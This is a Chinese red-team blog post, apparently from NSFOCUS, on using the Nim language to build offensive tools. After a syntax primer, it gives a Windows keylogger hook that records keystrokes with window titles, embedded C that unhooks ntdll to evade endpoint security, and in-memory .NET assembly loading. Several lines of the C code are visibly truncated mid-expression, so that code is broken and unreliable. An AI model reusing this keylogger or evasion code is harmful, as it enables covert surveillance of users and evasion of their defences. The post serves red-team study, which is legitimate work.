一、技术背景
本文将从蓝军研究人员的角度对Nim语言的优势和利用面进行分析,希望能对读者有所启发。
二、Nim语言优势分析

# Nim语言实现0-9的循环输出for i in 0 .. <10:echo(i)// C++ 实现0-9的输出#include <iostream>using namespace std;int main(){for (int i = 0; i < 10; i++){cout << i << endl;}return 0;}
使用C语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:
#include <windows.h>int main(int argc, char* argv[]){MessageBoxA(0, "Hello, world !", "MessageBox Example", 0);WinExec("calc.exe", SW_SHOW);return 0;}

proc MessageBoxA*(hWnd: int, lpText: cstring,lpCaption: cstring, uType: int32): int32{.discardable, stdcall, dynlib: "user32", importc.}MessageBoxA(0, "Hello, world !", "MessageBox Example", 0)proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32{.discardable,stdcall,dynlib:"kernel32",importc.}WinExec("calc.exe",0)

nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim

nim c -d:danger -d:strip --opt:size .\begin.nim

三、Nim语言基本语法
# 1. 打印输出echo "Hello World"# 2. 变量声明和赋值 - 变量名:变量类型var var1: int # int类型var var2: string # 字符串类型var1 = 3var2 = "str"# 3. 控制流# 3.1 if-elseif var1 == 3:echo "True"elif var1 > 3:echo "bigger"elif var1 < 3:echo "smaller"# 3.2 switch casecase var1of 3:echo "Case:Yes,it's 3"else:echo "Case:No,it isn't 3"# 3.3 for countup是迭代器,相当于python的rangefor i in countup(1,10):echo i# 3.4 while,break 用法,与python相近while var1 == 3:echo "while:Yes,it's 3"break# 4. Procedures 使用,相当于 函数# discardable 用于 声明 返回值类型为 “丢弃”proc Addpro(x, y: int): int {.discardable.} =return x + yecho(Addpro(3, 4)) # 输出返回值# 5. 高级数组类型# 5.1 数组类型,大小固定不变typeIntArray = array[1..5, int] # 索引从1到5,元素数量为5个var arr: IntArrayarr = [5,10,15,20,25]for index, val in arr:echo "Index: ", index, " Value = ", val# 5.2 sep序列类型,相当于动态数组或python的listvar arrSep: seq[int] #arrSep = @[5,10] # 赋值方式和数组一样用[],但前面多了个@符号echo arrSep# ... 有更多结构体在nim官方文档可查# 6. 引用和指针type # 自定义一个对象,相当于结构体MyObj = objectname: stringage: intvar obj1: MyObjobj1 = MyObj(name:"I",age:12)echo obj1echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8# 7. FFI使用,Nim语言最终编译成C语言,所以使用FFI很方便proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.}let cmp = strcmp("C?", "Easy!")echo cmp
四、Nim在蓝军武器中的实例
# hook回调函数proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =if nCode >= 0 and wParam == WM_KEYDOWN:var keypressed: stringvar kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam)var currentActiveWindow = GetActiveWindowTitle()var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0)var keycode: Keys = cast[Keys](kbdstruct.vkCode)if shifted and (keycode in KeyDictShift):keypressed = KeyDictShift.getOrDefault(keycode)elif keycode in KeyDict:keypressed = KeyDict.getOrDefault(keycode)else:var capped: bool = (GetKeyState(20) != 0)if (capped and shifted) or not (capped or shifted):keypressed = $toLowerAscii(chr(ord(keycode)))else:keypressed = $toUpperAscii(chr(ord(keycode)))echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']"return CallNextHookEx(0, nCode, wParam, lParam)# hook键盘的函数var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)

# 使用emit 实现嵌入{.emit: """#include <Windows.h>#include <winternl.h>#include <psapi.h>#include <psapi.h>int ntdllunhook(){HANDLE process = GetCurrentProcess();MODULEINFO mi;HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEif (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {DWORD oldProtection = 0;VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORVirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,}}CloseHandle(process);CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return 0;}
import winim/clrvar buf: array[,byte] = [...] # 省略要执行的assemblyvar assembly = load(buf)var arr = toCLRVariant(commandLineParams(), VT_BSTR)assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
五、总结
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。
